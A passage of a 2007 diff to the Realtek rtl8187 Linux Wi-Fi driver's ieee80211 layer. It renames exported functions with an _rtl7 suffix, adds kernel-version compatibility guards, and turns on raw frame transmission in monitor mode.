spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_orig/ieee80211/ieee80211_softmac_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_softmac_wx.c 2007-07-13 01:46:05.000000000 +0200 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_tx.c rtl8187_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_orig/ieee80211/ieee80211_tx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_tx.c 2007-07-13 01:46:05.000000000 +0200 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = 